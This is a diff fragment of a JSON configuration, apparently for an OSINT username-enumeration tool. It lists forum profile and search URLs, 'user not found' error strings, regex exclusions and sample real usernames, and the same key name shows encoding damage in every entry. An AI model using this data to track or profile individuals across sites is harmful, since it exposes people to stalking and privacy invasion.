"Forum_synfig": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.synfig.org/u/{}/summary", + "urlMain": "https://forums.synfig.org", + "usernameON": "weranimators", + "bad_site": "" + }, + "Forum_synwrite_sourceforge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://synwrite.sourceforge.net/forums/search.php?keywords=&terms=all&author={}", + "urlMain": "https://synwrite.sourceforge.net/", + "usernameON": "SamC", + "bad_site": "" + }, + "Forum_sys-adm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.sys-adm.in/u/{}", + "urlMain": "https://forum.sys-adm.in", + "usernameON": "sysadmin", + "bad_site": 1 + }, + "Forum_szaokprf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://szaokprf.ucoz.ru/index/8-0-{}", + "urlMain": "https://szaokprf.ucoz.ru", + "usernameON": "sapsap", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tachograph": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "urlMain": "http://tachograph.ucoz.ru", + "usernameON": "zokfada", + "bad_site": "" + }, + "Forum_tacticalwargames": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tacticalwargames.net/taccmd/memberlist.php?username={}", + "urlMain": "https://www.tacticalwargames.net", + "usernameON": "MephistonAG", + "bad_site": "" + }, + "Forum_taek": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taek.3dn.ru/index/8-0-{}", + "urlMain": "https://taek.3dn.ru/", + "usernameON": "provzlom", + "bad_site": "" + }, + "Forum_taganrog-stop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taganrog-stop.clan.su/index/8-0-{}", + "urlMain": "https://taganrog-stop.clan.su", + "usernameON": "avtoritetniy", + "bad_site": "" + }, + "Forum_tagheuer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tagheuerforums.com/members/?username={}", + "urlMain": "https://tagheuerforums.com", + "usernameON": "hubert", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tagilshops": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://taipaqi.moy.su/index/8-0-{}", + "urlMain": "https://taipaqi.moy.su", + "usernameON": "lotly", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taksafonchik": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tambov.clan.su/index/8-0-{}", + "urlMain": "https://tambov.clan.su", + "usernameON": "Xando", + "bad_site": "" + }, + "Forum_tanki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Что-то пошло не так", + "errorTyp��": "message", + "url": "https://ru.tankiforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ru.tankiforum.com", + "usernameON": "anmo", + "bad_site": "" + }, + "Forum_tanknet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.tanknet.org/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.tanknet.org", + "usernameON": "bojan", + "bad_site": "" + }, + "Forum_taragorod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taragorod.ru/index/8-0-{}", + "urlMain": "https://taragorod.ru", + "usernameON": "unlockserver", + "bad_site": "" + }, + "Forum_tarjaturunen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tarjaturunen.ucoz.ru/index/8-0-{}", + "urlMain": "https://tarjaturunen.ucoz.ru", + "usernameON": "timoxa", + "bad_site": "" + }, + "Forum_taro": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.taro.lv/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.taro.lv", + "usernameON": "Cha", + "bad_site": "" + }, + "Forum_tarokus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tarokus.ru/index/8-0-{}", + "urlMain": "http://tarokus.ru", + "usernameON": "pridorozhniy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_tarot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://tarot.my1.ru/index/8-0-{}", + "urlMain": "http://tarot.my1.ru", + "usernameON": "seklimqwdal", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tarot-siberia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://tarot-siberia.ru/index/8-0-{}", + "urlMain": "https://tarot-siberia.ru", + "usernameON": "Lila", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taruska": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.taruska.ru/index/8-0-{}", + "urlMain": "http://www.taruska.ru", + "usernameON": "kuhni30", + "bad_site": "" + }, + "Forum_tatfish": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tatfish.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tatfish.com", + "usernameON": "Krilov", + "bad_site": "" + }, + "Forum_tathunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tathunter.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tathunter.ru", + "usernameON": "ramon", + "bad_site": "" + }, + "Forum_tattle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tattle.life/members/?username={}", + "urlMain": "https://tattle.life", + "usernameON": "chita", + "bad_site": "" + }, + "Forum_tauck": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.tauck.com/profile/{}", + "urlMain": "https://forums.tauck.com", + "usernameON": "billzappa", + "bad_site": "" + }, + "Forum_taycan": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanforum.com/forum/members/?username={}", + "urlMain": "https://www.taycanforum.com", + "usernameON": "f1eng", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_taycanev": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanevforum.com/members/?username={}", + "urlMain": "https://www.taycanevforum.com", + "usernameON": "hz1946", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tbrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tbrus.ucoz.ru/index/8-0-{}", + "urlMain": "https://tbrus.ucoz.ru", + "usernameON": "aktotytusipkalieva", + "bad_site": "" + }, + "Forum_tdiclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.tdiclub.com/index.php&members/?username={}", + "urlMain": "https://forums.tdiclub.com", + "usernameON": "matthew16", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_team-pros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://team-pros.3dn.ru/index/8-0-{}", + "urlMain": "https://team-pros.3dn.ru", + "usernameON": "leifwoolned", + "bad_site": "" + }, + "Forum_tebepolezno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tebepolezno.ucoz.ru/index/8-0-{}", + "urlMain": "https://tebepolezno.ucoz.ru", + "usernameON": "Wtgrljya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_techclan_planeta2": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://techclan.planeta2.org/index/8-0-{}", + "urlMain": "http://techclan.planeta2.org", + "usernameON": "youmather", + "bad_site": "" + }, + "Forum_techenclave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://techenclave.com/members/?username={}", + "urlMain": "https://techenclave.com", + "usernameON": "jacob909", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techguy": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techguy.org/members/?username={}", + "urlMain": "https://www.techguy.org", + "usernameON": "novictory", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_techist": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techist.com/forums/members/?username={}", + "urlMain": "https://www.techist.com", + "usernameON": "benefitspils3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_technofino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://technofino.in/community/members/?username={}", + "urlMain": "https://technofino.in", + "usernameON": "abhishek012", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techsupport": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techsupportforum.com/members/?username={}", + "urlMain": "https://www.techsupportforum.com", + "usernameON": "masterchiefxx17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_teckelfriends": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://telesat-news.net/index/8-0-{}", + "urlMain": "https://telesat-news.net/", + "usernameON": "peresihne", + "bad_site": "" + }, + "Forum_tellopilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tellopilots.com/members/?username={}", + "urlMain": "https://tellopilots.com", + "usernameON": "cougare", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tenews": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://teron.at.ua/index/8-0-{}", + "urlMain": "https://teron.at.ua", + "usernameON": "nieminenmik", + "bad_site": "" + }, + "Forum_terraforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.terraforum.net/member.php?username={}", + "urlMain": "https://www.terraforum.net", + "usernameON": "mcdonald", + "comments": "bad", + "bad_site": "" + }, + "Forum_terror62": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terror62.ru/index/8-0-{}", + "urlMain": "http://terror62.ru", + "usernameON": "Trotskiy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_terrylove": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://terrylove.com/forums/index.php?members/&username={}", + "urlMain": "https://terrylove.com", + "usernameON": "arisonpump", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tezosagora": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tezosagora.org/u/{}/summary", + "urlMain": "https://forum.tezosagora.org", + "usernameON": "kevinmehrabi", + "bad_site": "" + }, + "Forum_TG": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tgforum.ru/members/?username={}", + "urlMain": "https://tgforum.ru", + "usernameON": "grigorii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thaidog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-brinkoftime.ru/index/8-0-{}", + "urlMain": "https://the-brinkoftime.ru", + "usernameON": "Kardinal", + "bad_site": "" + }, + "Forum_the-covenant": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-covenant.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-covenant.ucoz.ru", + "usernameON": "Gwynbleidd", + "bad_site": "" + }, + "Forum_the-sunny": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-sunny.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-sunny.ucoz.ru", + "usernameON": "Sejlin", + "bad_site": "" + }, + "Forum_thebassbarn": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thebassbarn.com/members/?username={}", + "urlMain": "https://www.thebassbarn.com/", + "usernameON": "hardtop", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebenchtrading": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thebenchtrading.com/members/?username={}", + "urlMain": "https://thebenchtrading.com/", + "usernameON": "dragonslayer913", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebrownsboard": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thebrownsboard.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thebrownsboard.com", + "usernameON": "calfoxwc", + "bad_site": "" + }, + "Forum_thecatsite": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thecatsite.com/members/?username={}", + "urlMain": "https://thecatsite.com", + "usernameON": "stefanz", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thecoding": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecodingforums.com/members/?username={}", + "urlMain": "https://www.thecodingforums.com/", + "usernameON": "nataliayou", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thecomicboard": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecomicboard.com/members/?username={}", + "urlMain": "https://www.thecomicboard.com", + "usernameON": "selfishmisery", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedaobums": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "Not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.thedaobums.com/search/?&q={}&type=core_members", + "urlMain": "https://www.thedaobums.com", + "usernameON": "Maddie", + "bad_site": "" + }, + "Forum_thedarkmod": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.thedarkmod.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.thedarkmod.com", + "usernameON": "greebo", + "bad_site": "" + }, + "Forum_thedarts": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thedartsforum.com/memberlist.php?username={}", + "urlMain": "https://www.thedartsforum.com", + "usernameON": "ChrisW", + "bad_site": "" + }, + "Forum_theden": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://thedenforum.com/u/{}/summary", + "urlMain": "https://thedenforum.com", + "usernameON": "weaselpuppy", + "bad_site": "" + }, + "Forum_thedieselgarage": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselgarage.com/members/?username={}", + "urlMain": "https://www.thedieselgarage.com", + "usernameON": "carid", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedieselstop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselstop.com/members/?username={}", + "urlMain": "https://www.thedieselstop.com", + "usernameON": "bugman", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedoctorwho": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.thedoctorwhoforum.com/members/{}/", + "urlMain": "https://www.thedoctorwhoforum.com", + "usernameON": "ps1l0v3y0u", + "bad_site": "" + }, + "Forum_thefappeningblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thefappeningblog.com/forum/members/?username={}", + "urlMain": "https://thefappeningblog.com", + "usernameON": "peterwebb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefedoralounge": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefedoralounge.com/members/?username={}", + "urlMain": "https://www.thefedoralounge.com", + "usernameON": "kblake", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefewgoodmen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefewgoodmen.com/thefgmforum/members/?username={}", + "urlMain": "https://www.thefewgoodmen.com", + "usernameON": "bootie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefinalfantasy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "STANDARD_ERROR", + "errorMsg3": "content=\"final fantasy,", + "errorTyp��": "message", + "url": "https://thefinalfantasy.net/forums/members/{}/", + "urlMain": "https://thefinalfantasy.net", + "usernameON": "fuzz", + "bad_site": "" + }, + "Forum_thefirearms": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "urlMain": "https://www.thefirearmsforum.com", + "usernameON": "alpo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theflooring": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theflooringforum.com/members/?username={}", + "urlMain": "https://theflooringforum.com", + "usernameON": "dazlight", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefootballforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefootballforum.net/members/?username={}", + "urlMain": "https://www.thefootballforum.net", + "usernameON": "oakroader", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thegambling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "Unavailable", + "errorTyp��": "message", + "url": "https://thegamblingcommunity.com/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://thegamblingcommunity.com/", + "usernameON": "howfin", + "bad_site": "" + }, + "Forum_thegradcafe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.thegradcafe.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.thegradcafe.com", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_thegreenliving": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://permies.com/forums/jforum?module=search&action=search&forum_id=-1&search_keywords=&match_type=all&search_in=ALL&forum=&groupByTopic=true&sort_by=time&sort_dir=DESC&search_date=ALL&member_number=&member_first_name={}&member_last_name=&member_match_type=memberPosted", + "urlMain": "https://permies.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_thegtaplace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " 0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thegtaplace.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thegtaplace.com", + "usernameON": "chuken", + "bad_site": "" + }, + "Forum_thehomebrew": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thehomebrewforum.co.uk/members/?username={}", + "urlMain": "https://www.thehomebrewforum.co.uk", + "usernameON": "mashbag", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thehuddle": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.thehuddle.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.thehuddle.com", + "usernameON": "red", + "bad_site": "" + }, + "Forum_theislamicquotes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.theislamicquotes.com/members/?username={}", + "urlMain": "https://forum.theislamicquotes.com", + "usernameON": "awanromesa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theknot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.theknot.com/profile/{}", + "urlMain": "https://forums.theknot.com", + "usernameON": "mrsconn23", + "bad_site": "" + }, + "Forum_thektog": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thektog.org/members/?username={}", + "urlMain": "https://www.thektog.org", + "usernameON": "editor", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thelaw": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thelaw.com/members/?username={}", + "urlMain": "https://www.thelaw.com", + "usernameON": "zddoodah", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_themodernfilmmaker": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.themodernfilmmaker.com/ru/profile/{}/profile", + "urlMain": "https://www.themodernfilmmaker.com", + "usernameON": "shadrachhanohano", + "bad_site": "" + }, + "Forum_theohiooutdoors": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theohiooutdoors.com/members/?username={}", + "urlMain": "https://theohiooutdoors.com", + "usernameON": "p8riot", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theologyonline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theologyonline.com/members/?username={}", + "urlMain": "https://theologyonline.com", + "usernameON": "benavraham", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://theoutlander.ru/index/8-0-{}", + "urlMain": "https://theoutlander.ru", + "usernameON": "talia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_thepatriotwoodworker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thepatriotwoodworker.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thepatriotwoodworker.com", + "usernameON": "frederickh", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_thephins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephins.com/members/?username={}", + "urlMain": "https://www.thephins.com", + "usernameON": "dolphin25", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thephoto": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephotoforum.com/members/?username={}", + "urlMain": "https://www.thephotoforum.com", + "usernameON": "sterk03", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theprodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь, чей профиль вы пытаетесь посмотреть, не существует.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "urlMain": "https://forum.theprodigy.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_thepw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "http://forum.thepw.ru/index.php?/search/&q={}&type=core_members", + "urlMain": "http://forum.thepw.ru", + "usernameON": "thepwsupport", + "bad_site": "" + }, + "Forum_therepair": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "title>Упс! Что-то пошло не так", + "errorMsg2": "Найдено 0 результатов", + "errorTyp��": "message", + "url": "https://therepair.ru/search/?&q={}", + "urlMain": "https://therepair.ru", + "usernameON": "Engineer", + "comments": "bad", + "bad_site": "" + }, + "Forum_therpf": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.therpf.com/forums/members/?username={}", + "urlMain": "https://www.therpf.com", + "usernameON": "wayneb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thesandtrap": { + 